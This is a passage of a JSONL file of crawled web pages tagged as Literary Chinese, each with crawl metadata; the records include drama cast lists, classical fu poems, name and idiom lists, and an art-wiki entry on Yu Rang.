柳成杰","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/lxtz168.com\/83650\/1448.html","date":"2020-01-20T13:11:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250598726.39\/warc\/CC-MAIN-20200120110422-20200120134422-00077.warc.gz","language":"lzh","language_score":0.7024673223,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7024673223495483, \"und_Kits_score\": 0.13559922575950623, \"nan_Hani_score\": 0.08561554551124573, \"cmn_Hani_score\": 0.035848185420036316, \"jpn_Jpan_score\": 0.015172154642641544, \"wuu_Hani_score\": 0.014973722398281097}","num_words":802,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.702,"perplexity_score":500.0,"cluster_detection":1} +{"text":"金明洙 辛睿恩 徐志焄 姜勋\n深田恭子 永山绚斗 横滨流星 中村伦也 安达祐实 真凛 浜中文一 吉川爱 永田崇人 高梨临\n武田梨奈\n俞承豪 赵宝儿 郭东延 金东英 朴雅仁 金美京 金在华 崔元宏 金英玉 金汝珍 ...\n堺雅人 新垣结衣 生濑胜久 小池荣子 里见浩太朗 矢野圣人 田口淳之介 中村苍 正名仆蔵 六角慎司 ...\n李宝英 曹承佑 车善玗 鲁敏宇 金太祐 郑糠云 韩善花 金柳彬 金幼彬 金善英\n山田孝之 满岛真之介 玉山铁二 柄本时生 伊藤沙莉 富手麻妙 后藤刚范 吉田钢太郎 板尾创路 余贵美子 小雪 中川雅也 国村隼 石桥凌\n中山裕介 尾野真千子","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/1oxy.cn\/voddetail\/139073\/","date":"2020-05-30T21:36:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347410352.47\/warc\/CC-MAIN-20200530200643-20200530230643-00258.warc.gz","language":"lzh","language_score":0.4190149903,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41901499032974243, \"cmn_Hani_score\": 0.3118921220302582, \"jpn_Jpan_score\": 0.213967427611351, \"nan_Hani_score\": 0.02173810452222824, \"yue_Hani_score\": 0.020044824108481407, \"wuu_Hani_score\": 0.013399208895862103}","num_words":61,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.419,"perplexity_score":500.0,"cluster_detection":1} +{"text":"公之噤默兮,咸卷舌而吞聲。因積水之告災兮,爰奏 疏而上陳。庶一言之悟主兮,迴天照之明明。朝抗章 而夕貶兮,白日不諒予之精誠。徒孤忠之耿耿兮,任 萍梗之飄零。絕江淮而歷浙兮,割深愛於親庭。陟閩 山之險阻兮,予隻影之伶俜。泛吾舟兮建溪,弭吾節 兮劍浦。會計當兮委吏偷燕 「兮筦庫。藝蘭蕙兮九 畹,植松竹兮百畝。餐秋菊兮落英,飲木蘭兮墜露。朝 吾游兮翰墨之林,夕吾戲兮圖書之府。道既不可以 行於今兮,質聖賢於往古。嘉溪山之秀絕兮,聊逍遙 以容與。眺翠嶺兮泛清流,桂為楫兮蘭為舟。有觴詠 兮自適,樂天命兮何憂。悼屈原之沉汨兮,悲賈誼之 不修。笑退之之戚嗟兮,憫德裕」之窮愁。惟君子之出 處兮,貴體道以周流;自任以天下之重兮,何一己之 為謀?用則行而舍則藏兮,又何必殺身而怨尤。惟蓋 棺兮事始定,聊康強兮保天性。歲寒不失其青青兮, 惟松柏之獨正。信吾道以優游兮,始居《易》以俟命。《亂》 曰:「已矣乎,莫我知也。」浮雲蔽日兮,虹蜺晝明;霜露降 此芳草兮,百鳥寂而無聲。恐美人之遲暮兮,歲遒盡 而崢嶸。側身西望而嘆息兮,心鬱結而不平。心鬱結 兮何為?道既不可以散兮,斂而歸之。惟靜惟正兮,其 殆庶幾。吾方將與造物者為人兮,又安能蹠咸、《彭》之 所遺?\n《述志賦》張九成\n「伊余生之好修兮,紛溷濁而獨清。朝飲藍橋之雲液 兮,夕餐月殿之落英。製芙蓉以為裳兮,紉蘭芷以為 佩。躡天風予上征兮,將以朝於玉帝。朝發軔於泰華 兮,夕予叩乎天閽。覽瑤臺珠閣之突兀兮,驂蒼虯采 鳳以駿奔。吾與群仙遨遊兮,曰蓬瀛乎此焉處?既徘 徊而四顧,日與月為吾侶。豐隆列缺其先驅兮,欃槍」 招搖為吾掃除。廓氛埃而下視兮,塊五嶽其尊罍。攬 四溟而一瀉兮,宴王母乎崑崙之隈。忽憑几而坐寤 兮,知萬事其如夢。聊與此世而婆娑兮,長笛呼風而 《三弄》。憫屈平之懷沙兮,笑子雲之投閣。已攬袂而欻 起兮,悵星移而月落。\n《尚志賦》元·吳萊\n惟太區之寥廓兮,紛庶物之馮生。藐予身之中處兮, 鬱予志而不得逞。竊獨嗜此古學兮,指前哲以作程。 味《詩》《書》之醇粹兮,獵道德之精英。悼世俗之馳騖兮, 吾何有乎我行。將歲月之不我與兮,兀淹留而無所 成。沉憂以氣索兮,卻立而質䪥攻。蹩躠而狹步兮,守 盯。謂「真瞶。」 瞭目以霧披兮,焱奇肱而風厲。墮泰 華以施簪兮,縮長河約之帶。翔矞皇之晻藹兮,叱麒 麟使承蓋。神若唏而奔騰兮,劍黿鼉乎濤瀨。招屏翳 予擗帷兮,斬蚩尤以褰斾。折建木以指麾兮,唉曜靈 之西邁。將欲往彼鴻濛兮,授予筴乎霄漢。亦或悲此 骯髒兮,發商歌於達旦。溘世氛之溷濁兮,噓天籟乎 崇窾。薄高丘以「闖遠海兮,恆戃怳而不顧返。何儃徊 以難逃兮」,曰 而則然。「顏子默而樂道兮,曾不滿 夫一簞。原思澹其居貧兮,尚蓬蒿之沒垣。彼豈不談 王術兮,甘窮檐之藐艱。秉中心之皦日兮,輕外物若 浮雲。諒當時之謂憊兮,猶千載稱其賢。阽吾生之沉 抑兮,將有繼乎古先。炳予室之虛白兮,纚予文於太 元。莽歙欻與時化兮,希噌吰而道存。棄麒驥而蹀𨇾 兮,登蹇」 乎前軒。淫桑濮之嘈雜兮,《九韶》漠焉而無 聞。固泰豆之不世出兮,又何見夫榮猨。彼何人哀時 命兮,每嗟卑而歎屈。曷不尚予之志兮,仰孟氏之遺 則。繄老農之力田兮,且多種而鮮穫。矧奇士之環轍 兮,雖凍餒其奚卹?增螢爝以日皛兮,積埃𡏖而山嶷。 向汙泥求夜光兮,經劫火見垂棘。惟傅巖之版築兮, 攀南箕以興國。亦有漁厥磻溪兮,擢赤鯉以予翼。挺 爾躬之豪崛兮,肯受人之羈勒,惇鄒魯之雅言兮,建 燕趙之姱節。糅瓊爢而我餐兮,羅翡翠以為服。秉剞 劂而剸裁兮,鏘和鸞以游息。撫鴻荒其若今兮,觀六 合為予窄。齊窮達於一塗兮,與聖賢而同域。翩丹穴 之蜚鳳兮,粲九苞之翕赩。將乘之以覲舜文兮,「孰知 予情之至極?」\n《閔己賦》〈有序〉任士林\n正月八日,獨坐雷公山中,天氣風緊,抱書自憐,漸老醜之逼人,慨盛世之不再,匪私騂角,恐墜肩牆,作《閔己賦》,庶幾成此志耳。其辭曰:\n「肆后皇之嘉貺,具藐然之一身。戴元髮於芳鬢,含纖 齒於龐脣。匪肖貌之我私,獨降質之爾淳。有賦予之 重責,尚墜緒之大振。張余挾於幼眇,自青襦而裹巾。 亦淳濯於群污,窺末光於德鄰。孔孟吾之師,不可以 復夢兮,為誰門之人?顏賜吾之友,不可以遽作兮,為 誰居之群?倚泰山而長嘯,俯黃河而孤嘶。瞻飛雲於 月下,訪流水於回堤。謂雲行而月跋兮,亦升東而沉 西;謂水逝而堤在兮,忽高岸之為谿。理不可以逆曉, 事不可以深稽。去者非人之所推,陷者非人之所擠。 來者不可以徑遏,降者不可以驟躋。眇余思之茫茫, 隱余神之凄凄。匪饑寒之足慮,匪患難之足疑。恫大","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/31","date":"2020-08-13T11:56:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00055.warc.gz","language":"lzh","language_score":0.7446301579,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7446301579475403, \"cmn_Hani_score\": 0.11310053616762161, \"nan_Hani_score\": 0.10685685276985168, \"yue_Hani_score\": 0.010438360273838043}","num_words":83,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.394,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n動漫《飛天小女警Z》由加藤英美裡 宮原永海 川名真知子 楠大典 大本真基子 金田朋子 田中秀幸 川浪葉子 秋谷智子 江原正士 川莊美雪 鹿野優以 松本和香子 西村知道 齋藤千和 渡邊美佐 山口真弓 石毛佐和 池田千草 進藤尚美 竹本英史 青山桐子 齊藤貴美子 園部啟一 掛川裕彥 齋藤志郎 麻生智久 吉原夏希 中尾良平 草尾毅 稻葉實 龍田直樹 山口勝平 木內玲子 小松由佳 諏訪部順一 島田敏 吉田小南美 小松裡歌 長嶝高士 岸尾大輔 城雅子 楠見尚己 增谷康紀 真殿光昭 宮田幸季 櫻井敏治 遠近孝一 山本圭子 山崎巧 島香裕 等主演,石黒育 執導。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/itv8.tv\/show\/103054.html","date":"2021-03-01T13:29:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178362513.50\/warc\/CC-MAIN-20210301121225-20210301151225-00136.warc.gz","language":"lzh","language_score":0.4665387571,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46653875708580017, \"cmn_Hani_score\": 0.392543762922287, \"jpn_Jpan_score\": 0.10323058813810349, \"yue_Hani_score\": 0.018638715147972107, \"nan_Hani_score\": 0.016201451420783997}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n陸劇《不可能完成的任務》由於震 陳紫函 尹鑄勝 餘玥 曾雅冬 杜源 辛月 魏春光 馮遠征 荊浩 高亮 吳奇隆 劉思彤 淳於珊珊 呂中 曹磊 張琛 左航 崔鐘 李瀚均 金漢 朱少鵬 李旭 高宇航 劉流 劉金山 石兆琪 張興哲 張春仲 王康樂 劉萌萌 張境佳 李思博 康福震 俞瞳 陳良 楊爍 王立卓 李華 滕愛弦 武莉 張浩然 於非 孫東安 白一弘 周小偉 馬浩博 楊力蘄 李俊浩 曹漢超 耿明吉 張波 金雨淳 邵曉江 崔可法 葛兆美 李熙政 閔政 包小平 邢傑風 王天龍 鐘鳴 張德明 李軍 呂原田 於彥凱 高強 等主演,於震 耿明吉 杜修斌 執導。","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/itv8.tv\/show\/54192.html","date":"2021-06-15T09:30:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487620971.25\/warc\/CC-MAIN-20210615084235-20210615114235-00324.warc.gz","language":"lzh","language_score":0.8239626884,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.8239626884460449, \"cmn_Hani_score\": 0.15229052305221558, \"nan_Hani_score\": 0.020809028297662735}","num_words":72,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.835,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n史安 史傲 史斌 史波 史博 史渤 史册 史策 史昶 史畅 史唱 史超 史澈 史晨 史成 史诚 史弛 史虫 史春 史词 史苁 史聪 史大 史丹 史迪 史地 史典 史东 史冬 史豆 史夺 史二 史凡 史菲 史霏 史丰 史枫 史峰 史凤 史富 史刚 史纲 史恭 史果 史海 史海 史海 史憨 史涵 史航 史好 史昊 史浩 史皓 史灏 史衡 史泓 史虎 史华 史晖 史辉 史荟 史慧 史吉 史佶 史记 史纪 史霁 史佳 史家 史坚 史缄 史建 史剑 史健 史鉴 史杰 史婕 史鲒 史芥 史今 史锦 史瑾 史劲 史进 史荩 史晋 史觐 史京 史晶 史靓 史静 史军 史均 史俊 史峻 史浚 史骏 史凯 史坷 史柯 史科 史钶 史可 史快 史坤 史岚 史朗 史乐 史镭 史磊 史蕾 史鹂 史力 史立 史吏 史利 史励 史荔 史栗 史良 史亮 史林 史临 史霖 史柳 史龙 史璐 史鹭 史论 史萌 史蒙 史淼 史敏 史名 史明 史鸣 史铭 史莫 史默 史沐 史尼 史宁 史鹏 史平 史琦 史迄 史谦 史茜 史强 史嫱 史秦 史勤 史沁 史青 史清 史晴 史权 史然 史荣 史芮 史锐 史瑞 史睿 史润 史三 史森 史尚 史舍 史声 史诗 史书 史舒 史死 史松 史菘 史嵩 史涛 史滔 史天 史田 史庭 史霆 史佟 史彤 史王 史威 史微 史薇 史巍 史为 史唯 史维 史伟 史苇 史炜 史玮 史雯 史汶 史五 史武 史希 史乡 史翔 史潇 史晓 史笑 史谢 史欣 史新 史鑫 史旭 史轩 史宣 史玄 史选 史炫 史学 史丫 史严 史岩 史炎 史晏 史焱 史雁 史扬 史阳 史杨 史洋 史晔 史烨 史一 史伊 史宜 史颐 史乙 史艺 史屹 史峄 史毅 史翼 史引 史滢 史映 史永 史勇 史宇 史羽 史育 史钰 史御 史裕 史愈 史煜 史誉 史豫 史园 史源 史月 史越 史云 史芸 史运 史韵 史展 史哲 史桢 史振 史震 史拯 史之 史志 史治 史忠 史洲 史卓 史自 史婵 史芳 史芬 史红 史洁 史婧 史娟 史莉 史丽 史琳 史玲 史梅 史美 史娜 史萍 史倩 史琴 史琼 史冉 史蓉 史婷 史文 史霞 史秀 史雪 史娅 史嫣 史妍 史艳 史燕 史瑶 史怡 史英 史莹 史颖 史玉 史媛 史悦","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-63-2.html","date":"2021-09-21T11:07:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00324.warc.gz","language":"lzh","language_score":0.9455237389,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.945523738861084, \"cmn_Hani_score\": 0.028441613540053368, \"nan_Hani_score\": 0.014555783942341805, \"yue_Hani_score\": 0.011303923092782497}","num_words":317,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.326,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":500.0,"cluster_detection":1} +{"text":"予譲\nよじょう\n画題\n画像(Open)\n解説\n東洋画題綜覧\n支那春秋時代の忠臣、晋の人、智伯に事へ智伯の趙襄子に亡ぼさるゝや、これが讐を報ぜんとして辛惨苦慮、遂に敵刃に仆る。\n趙簡子長子、曰伯魯、幼曰無恤、書訓戒之辞於二簡以授二子曰、「謹識之」、三年問之、伯魯不能挙其辞、求其簡已失之、無恤誦其辞甚習、求其簡出諸懐中而奏之、於是立無恤為後、簡子使尹鐸為晋陽、請曰「以為繭糸乎、以為保障乎。簡子曰「保障哉」尹鐸損其戸数、簡子謂其子無恤曰「晋国有難必以晋陽為帰」簡子卒、無恤立、是為襄子、知伯求地韓魏、皆与之、求於趙不与、率韓魏之甲以攻趙、襄子出走晋陽、三家囲両灌之、城不浸者三板、沈竃産竃民無叛意、襄子陰与韓魏約共敗知伯、滅知氏而分其地、襄子漆知伯之頭以為飲器。\n智伯之臣予譲、欲為之報仇、乃詐為刑人挟匕首入襄子宮中、塗厠、襄子如厠心動、索之獲譲、問曰「子不嘗事范中行氏乎、知伯滅之、子不為報讐、反委質於知伯、知伯死子独何為報仇之深也」曰、「范中行氏衆人遇我、我故衆人報之、知伯国士遇我、我故国士報之」襄子曰「義士也舎之謹避而已」、譲漆身為厲呑炭為唖、行乞於市、其妻不識也、其友識之曰、「以子之才臣事趙孟必得近幸、子乃為所欲為、顧不易邪、何乃自苦如此」譲曰、「不可、既委質為臣又求殺之、是二心也、凡吾所為者、極難耳、然所以為此者、将以愧天下後世天下後世為人臣懐二心者也襄子出、譲子馬驚、索之得譲遂殺之。 (十八史)\n平福百穂、第十回文展に之を画く。\n(『東洋画題綜覧』金井紫雲)","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.arc.ritsumei.ac.jp\/artwiki\/index.php?title=%E4%BA%88%E8%AD%B2&oldid=49582495","date":"2022-05-26T13:35:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662606992.69\/warc\/CC-MAIN-20220526131456-20220526161456-00094.warc.gz","language":"lzh","language_score":0.533546865,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.5335468649864197, \"cmn_Hani_score\": 0.20676764845848083, \"jpn_Jpan_score\": 0.19577744603157043, \"nan_Hani_score\": 0.02427363023161888, \"wuu_Hani_score\": 0.015575479716062546, \"yue_Hani_score\": 0.015180795453488827}","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.589,"perplexity_score":500.0,"cluster_detection":1} +{"text":"名不副实 声名狼藉 循名课实无实 鼎鼎大名 名不正,言不顺 徒拥虚名 徒有其名 徒有虚名 沽名钓誉 盛名之下,其实难副 盛名难副 臭名昭著 青史标名 中外驰名 名不虚传 名实不副 名实相称 名正言顺 名高难副 师出无名 循名责实 更名改姓 臭名远扬 蜗名微利 驰名当世 功成名就 名副其实 名实相符 名重一时 大名鼎鼎 循名校实 循名考实 提名道姓 改名易姓 有名亡实 欺世盗名 沽名吊誉 沽名干誉 沽誉钓名 蜗名蝇利 赫赫有名 金榜题名 顾名思义 利路名场 功成名立 功成名遂 名下无虚 名不符实 名不虚立 名利双收 名垂千古 名存实亡 名实相副 名实难副 名扬四海 名扬天下 名满天下 名符其实 名过其实 名闻遐迩 师出有名 徒拥其名 循名督实 无名小卒 无名英雄 榜上无名 求名责实 蜗利蝇名 蝇利蜗名 责实循名 身名俱灭 身名俱败 身败名裂 驰名中外 一举成名 不务空名 举世闻名 争名竞利 利缰名锁 变名易姓 名不虚得 名不虚行 名公巨人 名噪一时 名垂万古 名垂后世 名垂百世 名垂竹帛 名士风流 名声在外 名山胜川 名山胜水 名正理顺 名落孙山 名门大族 名门旧族 名闻天下 实至名归 巧作名目 循名核实 惑世盗名 按名责实 控名责实 改名换姓 改姓更名 斗方名士 无名之璞 枉担虚名 求名求利 沽名要誉 沽名邀誉 沽激虚名 浮名薄利 浮名虚誉 盗名欺世 知名当世 虚名在外 蝇名蜗利 豹死留皮,人死留名 赫赫声名 赫赫时名 逐利争名 遐迩闻名 金榜挂名 钓名欺世 钓名沽誉 钓名要誉 钓誉沽名 雁塔题名 青史留名 题名道姓 驰名天下 一文莫名 不可名状 久闻大名 争名逐利 人死留名 假名托姓 兵出无名 冒名顶替 利锁名缰 功名利禄 功名富贵 名不正则言不顺 名书竹帛 名从主人 名利兼收 名垂青史 名士夙儒 名声过实 名教罪人 名显天下 名流巨子 名缰利锁 名胜古迹 名重天下 名重当时 名门右族 名门望族 名震一时 名题雁塔 名高天下 声名烜赫 声名藉甚 声名赫奕 征名责实 循名课时 成名成家 扬名显亲 揽名责实 无名之朴 更姓改名 求名夺利 盗名暗世 砥名励节 砥砺名行 策名委质 美其名曰 藏诸名山 虚名薄利 赫赫之名 身败名隳 进不求名,退不避罪 遁名匿迹 闻名丧胆 隐名埋姓 隐迹埋名 雁塔名标 高姓大名 鼎鼎有名 鼠技虎名 一举成名天下闻 不名一文 不名一钱 争名于朝,争利于市 争名夺利 亏名损实 人怕出名猪怕壮 人过留名,雁过留声 令名不终 以名取士 利惹名牵 利绾名牵 利锁名牵 功就名成 匿名揭帖 取名致官 变姓埋名 名下无虚士 名书锦轴 名倾一时 名公巨卿 名列前茅 名动天下 名卿巨公 名同实异 名声扫地 名声籍甚 名声若日月 名存实废 名山大川 名标青史 名目繁多 名缰利索 名誉扫地 名门闺秀 垂名竹帛 埋名隐姓 声名大噪 大名难居 姓甚名谁 巧立名目 巧立名色 循名覈实 必也正名 怀安败名 指名道姓 慕名而来 扬名后世 扬名显姓 无名之辈 无名小辈 校名责实 正名定分 烈士徇名 热中名利 盛名之下,其实难符 砥厉名号 砥名砺节 砥砺名号 硕彦名儒 称名道姓 立身扬名 竖子成名 纲常名教 综核名实 臭名昭彰 至理名言 莫可名状 藏之名山 藏诸名山,传之其人 蜗角虚名 行不更名,坐不改姓 贪名图利 身名两泰 身名俱泰 身废名裂 辱身败名 远近驰名 阿世盗名 附骥名彰 隐迹藏名 青史传名 青史垂名 高名大姓 一举成名天下知 一文不名 一钱不名 万世之名 不可名貌 久负盛名 冒名接脚 出师无名 出师有名 功不成,名不就 发名成业 变迹埋名 吊誉沽名 名价日重 名垂千秋 名山事业 名师出高徒 名微众寡 名德重望 名登鬼录 名花无主 名葩异卉 名贸实易 名门世族 名闻利养 哗世取名 声名狼籍 声名鹊起 奇花名卉 完名全节 实至名随 富贵功名 尊姓大名 干名采誉 异路功名 徵名责实 忝窃虚名 急功近名 扬名四海 无名火起 无名鼠辈 显亲扬名 显姓扬名 显祖扬名 有名有利 有名有姓 时无英雄,使竖子成名 杀身成名 正名责实 浮名虚利 矜名妒能 矜名嫉能 砥砺名节 砥行磨名 砥行立名 策名就列 素负盛名 考名责实 职名早投 藏之名山,传之其人 贪名逐利 趋名逐利 身名俱裂 身显名扬 过江名士多如鲗 违利赴名 追名逐利 遐迩知名 邀名射利 钦佩莫名 闻名不如见面 闻名遐迩 隐姓埋名 高名上姓 像形夺名 分文不名 功名蹭蹬 千古骂名 千里投名,万里投主 及第成名 名不常存 名不徒显 名公大笔 名公钜人 名公钜卿 名利之境 名卿钜公 名垂宇宙 名垂罔极 名纸生毛 名臣硕老 名重识暗 名靰利鞚 名鞿利鞚 垂名青史 士绅名流 宦成名立 射利沽名 干名犯义 应名点卯 异名同实 形息名彰 微名薄利 无可名状 无名之师 无名孽火 智名勇功 有仙则名 望子成名 朝名市利 树功扬名 欲盖名彰 死无所名 沽名卖直 泥名失实 缘名失实 罗织罪名 莫名其妙 行亏名缺 要利盗名 象形夺名 赫赫英名 过江名士多如鲫 逐名趋势 遁迹藏名 遐尔闻名 遗名去利 重望高名 重气徇名 钓名拾紫 隳节败名 霍世盗名 顶名冒姓 顶名替身 饵名钓禄 齐名并价 不名一格 各色名样 名山之席 名我固当 声名籍甚 大行受大名 感戴莫名 疑事无功,疑行无名 疑行无名,疑事无功 贩交买名 身死名辱 遁名改作 重气狥名 无名火气\n满意的话,你就点\"采纳答案\"吧含数字的\n版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权\/违法违规的内容, 请发送邮件至 email@example.com 举报,一经查实,本站将立刻删除。","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.yaoruanwen.com\/n\/1143304.html","date":"2022-07-04T06:29:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104354651.73\/warc\/CC-MAIN-20220704050055-20220704080055-00014.warc.gz","language":"lzh","language_score":0.5598288178,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5598288178443909, \"nan_Hani_score\": 0.30178555846214294, \"cmn_Hani_score\": 0.09749196469783783, \"yue_Hani_score\": 0.021578030660748482, \"wuu_Hani_score\": 0.010258355177938938}","num_words":430,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.602,"perplexity_score":500.0,"cluster_detection":1} +{"text":"欢迎访问本站。\n浪淘沙 夏云峰 浪淘沙令 【林锺商】古倾杯 倾杯 破阵乐 双声子 二郎神 醉蓬莱 宣清 锦堂春 定风波 诉哀情近 诉衷情近 其二 留客住 迎春乐 隔帘听 凤归云 抛球乐 集贤宾 殢人娇 思归乐 合欢带 少年游 少年游 其二 少年游 其三 少年游 其四 少年游 其五 少年游 其六 少年游 其七 少年游 其八 少年游 其九 长相思(京妓) 尾犯 木兰花 木兰花 其二 木兰花 其三 木兰花 其四 驻马听 诉衷情 戚氏 轮台子 引驾行 望远行 彩云归 洞仙歌 和鸣彩凤 离别难 击梧桐 夜半乐 祭天神 安公子 菊花新 过涧歇近 轮台子 望汉月 归去来 燕归梁 八六子 长寿乐 望海潮 如鱼水 如鱼水 其二 玉蝴蝶 玉蝴蝶 其二 玉蝴蝶 其三\n感谢您访问本站。","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.ldbj.com\/tupian\/tupian_1.htm","date":"2022-10-04T02:50:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337473.26\/warc\/CC-MAIN-20221004023206-20221004053206-00319.warc.gz","language":"lzh","language_score":0.6407853961,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6407853960990906, \"cmn_Hani_score\": 0.29360896348953247, \"nan_Hani_score\": 0.06321088969707489}","num_words":83,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.736,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.指皮簧﹑鼓词等戏剧曲艺所用的十三个韵类,亦称十三道辙。即中东(中冬)﹑江阳﹑衣期(一七)﹑姑苏﹑怀来﹑灰堆﹑人辰(壬辰)﹑言前(檐前)﹑梭波(梭泼)﹑麻沙(发花)﹑乜邪(迭雪)﹑遥迢(遥条)﹑由求(油求)。\n十一 十一千百 十一月 十一而税 十七 十七八 十七勇士 十七史 十七字诗 十七帖 十七弟子 十万 十万八千里 十万火急 十万火速 十三史 十三太保 十三家 十三弦 十三月 三K党 三一 三一三十一 三一八惨案 三一回五一回 三一律 三一运动 三七 三七分 三七分开 三七开 三七斋 三万六千场 三万六千日 三三 三三两两 三三五五 三三制 三三制政权 三三四四 辙乱旂靡 辙乱旗靡 辙印 辙口 辙涸羁臣 辙环 辙环天下 辙轘 辙轨 辙迹 辙鲋","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/cidian.xpcha.com\/27861ekdnh9.html","date":"2017-03-23T04:21:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218186774.43\/warc\/CC-MAIN-20170322212946-00363-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4577356279,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4577356278896332, \"cmn_Hani_score\": 0.24059045314788818, \"jpn_Jpan_score\": 0.16235460340976715, \"yue_Hani_score\": 0.07229442894458771, \"nan_Hani_score\": 0.06042813882231712}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.474,"perplexity_score":500.0,"cluster_detection":1} +{"text":"錄取名單如下 張孟玉 陳秋娟 林雪真 陳映汝 洪岫敏 王恩潔 鄭尉伶 陳靜宜 劉玫琪 黃曉君 邱懿萱 胡頌義 洪詠淳 王靖豐 蘇建榮 吳宗訓 吳孟峻 黃俊豪 張家榮 吳柔萱 黃新雅 當天上課請著輕便服裝,並且攜帶剪刀,謝謝!","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/www.chpt.org.tw\/NewsDetail.php?Tb_index=tw2018061409452520","date":"2018-06-22T20:18:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864795.68\/warc\/CC-MAIN-20180622201448-20180622221448-00140.warc.gz","language":"lzh","language_score":0.4905741513,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4905741512775421, \"cmn_Hani_score\": 0.4780745804309845, \"nan_Hani_score\": 0.022754695266485214}","num_words":23,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.732,"perplexity_score":500.0,"cluster_detection":1} +{"text":"这篇主题是免费起名字测试打分。起一个好姓名,可以表达自己的个性,可是家长在起名的时候经常会发现,父母们给宝宝起个好名字也不是一件简单的事。\n姓文男取什么名字好应该怎么选?\nmingzi.cn给大家提供最有价值的名字资料,姓名网姓名由本站聘请的顾问等易经大师结合姓名学取名,名字网提供的姓名不是其它站汉字随机组合而来。本站给宝爸宝妈提供专一的免费取名。\n今天的主题是:姓文的男孩名字霸气姓文的男生霸气的名字,如果你的宝宝姓文,那么到这里选一个吧!希望能够帮到你。\n2009年男宝宝起名大全\n文艺好 文叶妃 文艺欣 文馨莺 文雅藤 